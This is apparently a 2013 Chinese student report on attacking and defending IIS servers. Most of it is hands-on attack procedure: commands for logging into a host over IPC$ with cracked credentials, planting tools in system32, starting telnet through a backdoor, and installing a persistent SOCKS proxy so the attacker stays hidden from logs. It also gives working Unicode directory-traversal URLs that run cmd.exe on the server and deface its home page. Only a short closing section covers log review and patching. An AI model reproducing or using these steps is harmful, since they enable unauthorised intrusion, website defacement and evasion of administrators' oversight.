网络攻击与防御技术
——IIS服务器攻防
姓名: XXXX
学号:201011010122
老师:申浩如
日期:2013.6.29
信息技术学院
目录
1.入侵IIS 服务器的准备工作 1
1.1黑客入侵IIS 服务器的流程 1
1.2制作代理跳板 1
1.2.1利用已知用户名和密码建立连接 2
1.2.2拷贝文件到远程主机 2
1.2.3取得远程主机的本地时间 2
1.2.4建立任务 2
1.2.5查看任务 2
1.2.6启动远程主机的t e l n e t 服务 2
1.2.7登录主机 3
1.2.8设置代理 3
1.2.9退出目标主机 4
1.2.10使用代理 4
2. 攻防实例:Unicode 漏洞攻防 6
2.1使用扫描软件查找Unicode 漏洞 6
2.1.1使用流光软件 6
2.1.2利用Unicode 漏洞简单修改目标主页的攻击 9
2.2.Unicode 漏洞解决方案 11
1.入侵IIS 服务器的准备工作
进入I I S 服务器将其网页换掉是很多黑客初学者的目标,也是黑客技术学习中重要的一课。但是,一般的网站服务器都有专业的网管人员在管理,而且也加装了各种软件或硬件的防火墙,因此相对于入侵一般单纯的上网电脑肯定会难得多,在本节中我们将讲解入侵网站服务器的流程。另管人员不同于一般的菜鸟,所以我们在入侵时还需要很好地保护自己,所以需要制作代理跳板,以便隐藏自己身份,否则弄得一个“出师未捷身先死”,那就太不值得了。
1.1黑客入侵IIS 服务器的流程
一般来说,没有多大恶意的黑客入侵网站最多是为了炫耀自己,主要体现在更换别人的主页。根据入侵的难易程度和成功率的高低,建议大家在入侵时采用以下的流程,如图1-1 所示。例如在黑客入侵流程中,通过端口1 3 9 进入共享磁盘和默认共享漏洞(I P C $ )入侵,虽然这两种方法听起来有些离谱,但是的的确确有这种没有太强安全意识、或者是太懒的管理员,将1 3 9的门户大开,而且还没有设置权限。
1.2制作代理跳板
要使一台网络主机成为自己的代理服务器,首先必须通过其他方式(如流光弱口令扫描)得到这台机器的用户名和密码,然后利用已知的用户名和密码与远程主机建立连接。然后为远程主机启动t e l n e t 服务,以便登录到远程主机进行操作,能够登录远程主机后,就可以在它上面安装和设置代理服务器了,下面的操作以连接IP 地址为10.0.13.19 这台远程主机为例。
1.2.1利用已知用户名和密码建立连接
在命令提示符下,执行命令,使用已有的用户名和密码建立与目标主机的连接,命令如下:net use \\\\10.0.13.19\\ ipc$ 密码 /user:用户名如图1-2 所示。
1.2.2拷贝文件到远程主机
利用建立的连接,将事先准备好的存放在当前目录下的ntlm.exe 和sksockserver.exe 复制到远程主机的system32 目录里,命令为:
copy ntlm.exe \\\\10.0.13.19\\admin$\\system32
copy sksockserver.exe \\\\10.0.13.19\\admin$\\system32
ntlm.exe 程序可以在流光安装目录下的tools 目录里找,这是一个专门关闭远程主机NTLM 验证的程序,另外,还需要在同一个目录里找到n e t s v c . e x e 程序,这是一个专门打开远程主机服务的后门程序, 在稍后将用它打开远程主机的telnet 服务,使用telnet 登录远程主机时会要求进行NTLM 验证,可能导致telnet 连接不上,所以需要先运行这个专门的程序将W i n d o w s 的N T L M 验证程序关闭。
1.2.3取得远程主机的本地时间
输入:net time \\\\10.0.13.19,这样我们就得到了远程主机的本地时间。
1.2.4建立任务
输入:at \\\\10.0.13.19 11:17 ntlm.exe,使目标主机在两分钟后运行ntlm.exe 程序。
1.2.5查看任务
输入:at \\\\10.0.13.19 命令,可以查看任务是否在列表中,如果没有了,说明任务已经执行。
1.2.6启动远程主机的t e l n e t 服务
输入:netsvc telnet \\\\10.0.13.19 /start,如图7-1-5 所示,其中10.0.13.19 是远程主机的IP 地址。
1.2.7登录主机
远程主机的t e l n e t 服务开启之后,我们就可以利用t e l n e t 命令登录远程主机了,输入命令:t e l n e t 10.0.13.19, 出现如图所示的确认是否要发送密码界面。
再键入“Y ”,出现用户登录验证界面,如图所示。
输入正确的用户名和密码后回车,就可成功登录到远程主机了,如图所示。
1.2.8设置代理
登录主机后,接下来需要设置代理,这里使用S k s o c k s e r v e r . e x e 软件为例来作为代理软件。S k s o c k s e r v e r . e x e 软件体积小,只有几十K ,使用简单,支持多跳板之间的连续跳,而且各跳板之间传输的数据是动态加密的,这样,就算你在h a c k i n g 过程中被网管发现,他用s n i f f e r 截到的也仅仅是堆乱码,查不到真实的I P 地址。
在第1.2.2步我们已经将Sksockserver.exe 文件复制到远程主机的C:\\winnt\\system32 目录,现在可以直接运行命令进行安装:sksockserver – install,安装sksockserver,如图所示。
接下来再指定该程序打开的端口,提定端口的参数为- c o n f i g p o r t,可以用任何空闲的端口,输入命令:sksockserver – config port 1213,如图所示。
如果不进行端口设置,则使用的是默认端口1 8 1 3 。
接着使用– config starttype 参数指定程序的启动方式,输入命令:sksockserver – config starttype2 ,如图所示。值为2 表示自动启动,这样就不怕目标服务器重新启动系统后,跳板会停止运行。
所有的都设置完成以后,就可以启动服务了,服务的名称为:s k s e r v e r ,如图所示。
1.2.9退出目标主机
服务启动后,跳板服务器就全部设置完成了,现在可以输入:e x i t ,断开与目标主机的连接。再输入:n e tuse \\\\10.0.13.19\\ipc$ /delete,删除此前建立的IPC 连接。
1.2.10使用代理
在本地计算机上打开代理程序,这里以s o c k s c a p 为例,进入其主界面,如图所示,点击“n e w”按钮,添加需要使用代理服务器的程序,当然你也可以将要运行的其它网络程序拖到s o c k s c a p 里来。
最后再点击主菜单上的“文件”| “设置”,进入其设置界面,如图所示进行设置。然后从S o c k s c a p里打开I E 、Q Q 、流光、C M D 命令等进行操作。
这时你进行的任何操作,别人都会认为是代理主机进行的操作。如此一来,在目标服务器中所留下的各种记录(如I I S L o g )就是跳板电脑的I P 而不是你的I P 地址,呵呵,现在你可以在网络上隐身了。
2.攻防实例:Unicode 漏洞攻防
在Unicode 字符解码时,IIS存在一个安全漏洞,导致用户可以远程通过IIS 执行任意命令。当用户用I I S 打开文件时,如果该文件名包含U n i c o d e 字符,系统会对其进行解码。如果用户提供一些特殊的编码,将导致IIS 错误地打开或者执行某些Web 根目录以外的文件。未经授权的用户可能会利用IUSR_machinename 账号的上下文空间访问任何已知的文件。该账号在默认情况下属于Everyone 和Users 组的成员,因此任何与Web 根目录在同一逻辑驱动器上的能被这些用户组访问的文件都可能被删除、修改或执行。通过此漏洞,我们可查看文件内容、建立文件夹、删除文件、拷贝文件且改名、显示目标主机当前的环境变量、把某个文件夹内的全部文件一次性拷贝到另外的文件夹去、把某个文件夹移动到指定的目录和显示某一路径下相同文件类型的文件内容等等。
U n i c o d e 是如今最热门的漏洞之一,也是经常被黑客们利用的漏洞之一,我们了解黑客是怎样利用该漏洞进行入侵的,然后通过对这种黑客手段的了解,找到防御方法进行有效的防御。
2.1使用扫描软件查找Unicode 漏洞
通过扫描器,可以发现目标服务器是否有U n i c o d e 漏洞,能找出有U n i c o d e 漏洞的网站服务器,然后就可以采用一些手段入侵目标主机了。网上这类扫描工具很多,下面以流光和R a n g e S c a n 这两个工具为例介绍如何找到Unicode 漏洞主机的。
2.1.1使用流光软件
安装运行流光后,出现流光的使用界面,如图所示。
选择“探测”| “高级扫描”,出现如图所示的界面。
选择“反向”,再选中“检测项目”中的“I I S ”,如图所示。
将上面的“起始地址”和“结束地址”填上,在目标系统中选择“W i n d o w s N T”,确定之后进入“高级扫描设置”,选择进入“I I S ”标签,选择“U n i c o d e 编码漏洞”复选框,其他不选,如图所示。
然后再切换到“选项”标签,选择猜解用户名词典、密码词典、保存报告的路径和文件名、并发线程数(如果没有特殊要求,这些都可以采用默认值)。
最后点击“确定”按钮,开始进行扫描,如图所示。过一会儿,就会在主界面的中部列出有U n i c o d e编码漏洞的肉机。
2.1.2利用Unicode 漏洞简单修改目标主页的攻击
假设该主机的IP 地址为61.52.142.40,其图列出存在漏洞的主机的IP存在漏洞的内容表示为:/scripts/..%255c..%255cwinnt/system32/cmd.exe,这时候,如果黑客在打开的IE浏览器的地址栏中输入:http://61.52.142.40/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir,就可以看到如图所示的I P 地址是61.52.142.40 的计算机中关于网页内容的Scripts 文件夹中的文件了。
在证实了某主机存在漏洞后,我们就可以修改目标主机的W e b 文件了,常用的方法是利用e c h o 回显以及管道工具“> ”和“> > ”。如在I E 的地址栏中输入:
http://61.52.142.40/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+d:\\inetpub\
然后回车,我们就可以看到如图所示的D 盘下的i n e t p u b 文件夹了,并且在i n e t p u b 文件夹下还存在wwwroot 子文件夹。
接下来还可使用命令:
http://X.X.X.X/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\\inetpub\\wwwroot,如图所示。
这样,就可以看到存放主页的目录(在这里是d : \\ i n e t p u b \\ w w w r o o t )里面的文件了,里面一般会有default.asp,default.htm,index.asp,index.htm 等文件,这些是默认的主页文件,当然每台机器的管理员设置的都会有所不同,具体情况应该具体分析。
在找到对方服务器上W e b 页面所在的目录后,就要判断一下自己是否有权修改对方的网页文件。首先要确定文件是否可读写,用下面的命令来判断(假设主页文件存放路径为d:\\inetpub \\wwwroot\\index.asp):
http://61.52.142.242/scripts/..%c0%af../winnt/system32/attrib.exe?%20-r%20-h%20d:\\inetpub\\wwwroot\\index.asp
① 这时候如果出现下面的英文信息:
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The
headers it did return are:
表明这时候就可以修改对方的网页了。
② 这时候如果出现下面的英文信息:
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The
headers it did return are:
Access denied - d:\\inetpub\\wwwroot\\index.asp
表明目前的权限还不够,最好还是选择放弃吧!
如果我们运气比较好,找到了可以修改的主页文件,假设是目标主机下的d:\\inetpub\\wwwroot\\default.asp
这个文件,那么,就可以在I E 浏览器的地址栏中输入这样的命令:
http://61.52.X.X/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+I+love+my+homeland+> d:\\inetpub\\wwwroot\\default.asp
此时再看这个首页,已经被修改为:“I love my homeland”,如图所示。至此,一个简单的黑客行为就发生并实现了!
如果仅仅只是简单地修改页面信息是远远不会满足某些黑客的欲望,黑客们的目标往往是完全操纵该台计算机。黑客们往往也是利用Unicode 漏洞操作目标主机,在这里就不做研究了。
2.2.Unicode 漏洞解决方案
如果有人利用U n i c o d e 漏洞进入目标主机,并执行过F t p 命令,例如到某个F t p 站点下载过文件,都会在日志中被记录下来,不要以为他删除那个文件或给文件改名就可以逃脱入侵的证据了。在目标主机的w i n n t / s y s -
tem32/logfiles\\msftpsvc1 目录下,可以找到运行Ftp 的日志,如果有人执行过Ftp 命令,在日志文件里可以看到类似下面的记录(其中1 2 7 . 0 . 0 . 1 为日志中记载的入侵者的I P ):
11:49:19 127.0.0.1 [2]USER xiaorong 331
11:49:19 127.0.0.1 [2]PASS – 230
11:49:19 127.0.0.1 [2]sent /lucky.txt 226
11:49:19 127.0.0.1 [2]QUIT - 226
这样你就可以通过这个记录来发现他的I P ,再来抓住他。
另外,在winnt\\system32\\logfiles\\w3svc1\\ 目录里保留有web 访问记录,如果曾经被人利用Unicode 漏洞访问过,可以在日志里看到类似下面的记录(其中1 2 7 . 0 . 0 . 1 为日志中记载的入侵者的I P ):
11:36:18 127.0.0.1 GET /scripts/..\\../winnt/system32/cmd".exe 401
11:36:18 127.0.0.1 GET /scripts/..\\../winnt/system32/cmd".exe 200
如果有人曾经执行过c o p y 、d e l 、e c h o 、b a t 等具有入侵行为的命令时,会有如下记录:
11:37:27 127.0.0.1 GET /scripts/..\\../winnt/system32/cmd".exe 401
11:37:27 127.0.0.1 GET /scripts/..\\../winnt/system32/cmd".exe 502
是不是一清二楚呢?不过狡猾的黑客(高手)还是会有其它应对方法的,但是经常查看日志文件,却是有百利而无一害哦!
只用上面的方法太被动了,还是主动些先解决了U n i c o d e 漏洞为好,下面为你提供了两种方案:
2.2.1简单解决方案
① 网络用户访问和调用c m d 的权限。
② 在S c r i p t s 、M s a d c 目录没必要使用的情况下,删除该文件夹或者改名。
③ 安装系统时不要使用默认路径,比如可以改名为其他名字。
2.2.2最好的解决办法
最好的方法当然是实时下载微软提供的IIS补丁了。当然,因为很多漏洞连微软自己都没发现,所以还是安个360安全卫士吧!下载本文